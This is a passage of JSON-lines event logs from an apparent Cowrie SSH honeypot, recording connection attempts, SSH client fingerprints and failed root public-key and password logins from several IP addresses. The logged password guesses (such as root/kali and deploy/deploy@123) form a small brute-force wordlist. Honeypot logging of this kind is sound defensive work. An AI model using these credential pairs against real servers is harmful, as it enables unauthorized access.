0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:50.611094Z","src_ip":"192.109.200.237","session":"47314a7ad3cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:50.859236Z","src_ip":"192.109.200.237","session":"47314a7ad3cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.24","src_port":20788,"dst_ip":"10.17.0.5","dst_port":22,"session":"883793ef36ba","protocol":"ssh","message":"New connection: 154.16.180.24:20788 (10.17.0.5:22) [session: 883793ef36ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:51.766815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:51.771232Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:51.861998Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.060280Z","src_ip":"192.109.200.237","session":"47314a7ad3cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:ec:64:53:76:a3:61:fb:3e:2e:f2:59:0f:62:9e:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuFJ+SMlxbp/d1Euvfggp0EI93X663Jy+jy78/gphHMUPW3r9kZCHBrdd9rwQnLtUf0vfXLqtLiZFmcw8meuLn2e1XTEYLYv06WGog0Sptdtfw+x67INB2eauUtGCf1qt65RhMXzm86q78/fwKuVwG07cNSw7HL5HXPUEkUDELtdCeczJq3ucUdnNIOgQ6ID5kMPUNuTRf8k4UKWT5ZfrnfI+Nq6VLiOC7pJF0WsAFgAI1fuFIHKytQXakia/9JQxbxrW9xiakJPUOfepk+PqfMrofAPwVLAlDGxNmMxZ2KHsx5eOf2lsu1qyBmciYLQSOkZaMfHzX55VUuWdI5GZl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:ec:64:53:76:a3:61:fb:3e:2e:f2:59:0f:62:9e:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.280645Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:ec:64:53:76:a3:61:fb:3e:2e:f2:59:0f:62:9e:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuFJ+SMlxbp/d1Euvfggp0EI93X663Jy+jy78/gphHMUPW3r9kZCHBrdd9rwQnLtUf0vfXLqtLiZFmcw8meuLn2e1XTEYLYv06WGog0Sptdtfw+x67INB2eauUtGCf1qt65RhMXzm86q78/fwKuVwG07cNSw7HL5HXPUEkUDELtdCeczJq3ucUdnNIOgQ6ID5kMPUNuTRf8k4UKWT5ZfrnfI+Nq6VLiOC7pJF0WsAFgAI1fuFIHKytQXakia/9JQxbxrW9xiakJPUOfepk+PqfMrofAPwVLAlDGxNmMxZ2KHsx5eOf2lsu1qyBmciYLQSOkZaMfHzX55VUuWdI5GZl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.284850Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:95:e9:bc:f3:67:d4:ce:e2:cf:2e:12:21:9b:de:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3JQc5NoUe8yrW08k7ArCY6FGWyp50qFEew/f08m0FwECwTz/gdeT9v4kGZUvunzb9Nh9pXQOn+O8MOinU5SNIysrmIBeYpCj3Wj4ZYSvM5e9iDPdwVt84pj3Ekc1Hy5GwRRLKupDlPBPLvFgj9uXnr2DsdwuuWiYmxkoz08MLvV4IXgvb7/zUDBVNsTbHa1eTq+v1edmL+32cgIvu4CD8iTMkaECj56Vpgq6868ZxVXVTlObXb3ZKHwufL1zAVPHnhVuZQMZr5njffOfcvGd/y6r2xudpkPayB4GTZ2gUcoMAnF0zn+TrTZjgQ/xXnLltE6JcrmocXkiQvrvnQmHH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:95:e9:bc:f3:67:d4:ce:e2:cf:2e:12:21:9b:de:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.377075Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:95:e9:bc:f3:67:d4:ce:e2:cf:2e:12:21:9b:de:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3JQc5NoUe8yrW08k7ArCY6FGWyp50qFEew/f08m0FwECwTz/gdeT9v4kGZUvunzb9Nh9pXQOn+O8MOinU5SNIysrmIBeYpCj3Wj4ZYSvM5e9iDPdwVt84pj3Ekc1Hy5GwRRLKupDlPBPLvFgj9uXnr2DsdwuuWiYmxkoz08MLvV4IXgvb7/zUDBVNsTbHa1eTq+v1edmL+32cgIvu4CD8iTMkaECj56Vpgq6868ZxVXVTlObXb3ZKHwufL1zAVPHnhVuZQMZr5njffOfcvGd/y6r2xudpkPayB4GTZ2gUcoMAnF0zn+TrTZjgQ/xXnLltE6JcrmocXkiQvrvnQmHH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.380863Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:d3:7d:d5:83:88:1d:47:8b:8c:49:1a:ca:40:91:12","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJHt3KjQzybL1PUFbWMOff9/K2ikFNluIMCYdNVRR0oz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d8:d3:7d:d5:83:88:1d:47:8b:8c:49:1a:ca:40:91:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.469276Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:d3:7d:d5:83:88:1d:47:8b:8c:49:1a:ca:40:91:12","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJHt3KjQzybL1PUFbWMOff9/K2ikFNluIMCYdNVRR0oz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.472857Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:b3:e1:f1:7d:dd:a0:ab:12:46:86:74:97:2e:74:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0hG5wSzJxI+dOuHr00iJbiqxc3PNcCwCb/kuf5ZI+oMidDkJBQw47Yg2hMrQfndKe8I9k9luFjAmWWKwyjJjnQptM3gWryyDTPQ7ikx6QCMad0Jh6yzXUvVqsvVWroG3Qm42/I/Ygr9iDDuqa/2JN1RdqRzlgV/d9xAcPxn5/eEbx1zW7rgE3oPogdEff2jo39MIEBsViBZlXOm7GJflcGTYeWlRSmZjNPoa6gLvaaTxo37MQ0+ycN0zp7lAA/sk5GpKGJMrhoh4GQv4qQ50VZVax/8kAQUFCMvxfuwMipMyHeOawaDEa8ANGANClamNXKI9KKi3zv5MAAeP8rs77","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:b3:e1:f1:7d:dd:a0:ab:12:46:86:74:97:2e:74:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.561711Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:b3:e1:f1:7d:dd:a0:ab:12:46:86:74:97:2e:74:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0hG5wSzJxI+dOuHr00iJbiqxc3PNcCwCb/kuf5ZI+oMidDkJBQw47Yg2hMrQfndKe8I9k9luFjAmWWKwyjJjnQptM3gWryyDTPQ7ikx6QCMad0Jh6yzXUvVqsvVWroG3Qm42/I/Ygr9iDDuqa/2JN1RdqRzlgV/d9xAcPxn5/eEbx1zW7rgE3oPogdEff2jo39MIEBsViBZlXOm7GJflcGTYeWlRSmZjNPoa6gLvaaTxo37MQ0+ycN0zp7lAA/sk5GpKGJMrhoh4GQv4qQ50VZVax/8kAQUFCMvxfuwMipMyHeOawaDEa8ANGANClamNXKI9KKi3zv5MAAeP8rs77","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.565841Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:c4:25:e5:63:0e:14:1b:00:e9:ff:97:21:c5:31:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA46lcP+4qraqpzlNLJMZY1XK8Rw9zEPPFOA97DW9wiJghhAy9B8BKssCML3fdEOcWXwJ5f5/s60oOvlWiydJRdfRnBtoKLS/RwRWAwnUuDu4JtZAveNcIuxdEh3g8zahCItDbjPZy4RrbgzkpXhe5C+1Bhyx2k7hIO0KpdFJsqceNGFjHYuGGHFDmf4Uli6gBmVvAt1cPgS4FvCBDpW0p+yd5kej2tcnrARwmyq3CLBWvoNIMqQkk8o9gjcXnCtaxGrb3mXs2/wqgOv8O/HiIZANnf03UNh/P8G8RxZ5JTKomp03cAH31t8dTXYeHI4pRZW8J77+pLsEcTCaUwrdSkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:c4:25:e5:63:0e:14:1b:00:e9:ff:97:21:c5:31:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.655436Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:c4:25:e5:63:0e:14:1b:00:e9:ff:97:21:c5:31:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA46lcP+4qraqpzlNLJMZY1XK8Rw9zEPPFOA97DW9wiJghhAy9B8BKssCML3fdEOcWXwJ5f5/s60oOvlWiydJRdfRnBtoKLS/RwRWAwnUuDu4JtZAveNcIuxdEh3g8zahCItDbjPZy4RrbgzkpXhe5C+1Bhyx2k7hIO0KpdFJsqceNGFjHYuGGHFDmf4Uli6gBmVvAt1cPgS4FvCBDpW0p+yd5kej2tcnrARwmyq3CLBWvoNIMqQkk8o9gjcXnCtaxGrb3mXs2/wqgOv8O/HiIZANnf03UNh/P8G8RxZ5JTKomp03cAH31t8dTXYeHI4pRZW8J77+pLsEcTCaUwrdSkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.659462Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:52.749881Z","src_ip":"154.16.180.24","session":"883793ef36ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41096,"dst_ip":"159.203.135.109","dst_port":22,"session":"75db880e8d63","protocol":"ssh","message":"New connection: 192.109.200.237:41096 (159.203.135.109:22) [session: 75db880e8d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:53.885715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:53.891157Z","src_ip":"192.109.200.237","session":"75db880e8d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:53.973812Z","src_ip":"192.109.200.237","session":"75db880e8d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:54.219916Z","src_ip":"192.109.200.237","session":"75db880e8d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:55.304885Z","src_ip":"192.109.200.237","session":"75db880e8d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56344,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aef703d354b","protocol":"ssh","message":"New connection: 80.66.85.226:56344 (159.203.135.109:22) [session: 4aef703d354b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:56.015425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:56.020395Z","src_ip":"80.66.85.226","session":"4aef703d354b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:56.114552Z","src_ip":"80.66.85.226","session":"4aef703d354b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321321321","message":"login attempt [root/321321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:56.396765Z","src_ip":"80.66.85.226","session":"4aef703d354b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41110,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec6da1e7ffc","protocol":"ssh","message":"New connection: 192.109.200.237:41110 (159.203.135.109:22) [session: 0ec6da1e7ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:57.216924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:57.225491Z","src_ip":"192.109.200.237","session":"0ec6da1e7ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:57.307863Z","src_ip":"192.109.200.237","session":"0ec6da1e7ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:57.493903Z","src_ip":"80.66.85.226","session":"4aef703d354b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:57.716582Z","src_ip":"192.109.200.237","session":"0ec6da1e7ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:58.801802Z","src_ip":"192.109.200.237","session":"0ec6da1e7ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.659303188323975,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:58.993657Z","src_ip":"152.42.224.71","session":"df646b24bd0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e80918f65dcb","protocol":"ssh","message":"New connection: 192.109.200.237:41808 (159.203.135.109:22) [session: e80918f65dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:00.773062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:00.778960Z","src_ip":"192.109.200.237","session":"e80918f65dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:00.864700Z","src_ip":"192.109.200.237","session":"e80918f65dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:01.112039Z","src_ip":"192.109.200.237","session":"e80918f65dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:02.205169Z","src_ip":"192.109.200.237","session":"e80918f65dcb","protocol":"ssh"}
